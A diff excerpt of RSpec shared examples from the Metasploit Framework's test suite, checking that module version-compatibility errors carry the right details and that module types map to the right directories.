||||
unarchived_module_content.should_not be_empty
|
||||
archived_module_content.should == unarchived_module_content
|
||||
end
|
||||
end
|
|
@ -0,0 +1,32 @@
|
|||
shared_examples_for 'Msf::Modules::VersionCompatibilityError' do
|
||||
let(:error) do
|
||||
begin
|
||||
subject.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => error
|
||||
end
|
||||
|
||||
error
|
||||
end
|
||||
|
||||
it 'should be raised' do
|
||||
expect {
|
||||
subject.version_compatible!(module_path, module_reference_name)
|
||||
}.to raise_error(Msf::Modules::VersionCompatibilityError)
|
||||
end
|
||||
|
||||
it 'should include minimum API version' do
|
||||
error.to_s.should include(minimum_api_version.to_s)
|
||||
end
|
||||
|
||||
it 'should include minimum Core version' do
|
||||
error.to_s.should include(minimum_core_version.to_s)
|
||||
end
|
||||
|
||||
it 'should include module path' do
|
||||
error.to_s.should include(module_path)
|
||||
end
|
||||
|
||||
it 'should include module reference name' do
|
||||
error.to_s.should include(module_reference_name)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,27 @@
|
|||
shared_examples_for 'typed_path' do |map={}|
|
||||
if map.length < 1
|
||||
raise ArgumentError,
|
||||
"type_path shared example requires a hash mapping the type constant name to the directory name: " \
|
||||
"it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'"
|
||||
end
|
||||
|
||||
if map.length > 1
|
||||
raise ArgumentError,
|
||||
"only one constant to directory mapping should be passed to each shared example, not #{map.length}"
|
||||
end
|
||||
|
||||
type_constant_name, directory = map.shift
|
||||
|
||||
context "with #{type_constant_name} type" do
|
||||
let(:type_constant) do
|
||||
type_constant_name.constantize
|
||||
end
|
||||
|
||||
it "should start with #{directory} directory" do
|
||||
typed_path = described_class.typed_path(type_constant, module_reference_name)
|
||||
first_directory = typed_path.split(File::SEPARATOR).first
|
||||
|
||||
first_directory.should == directory
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue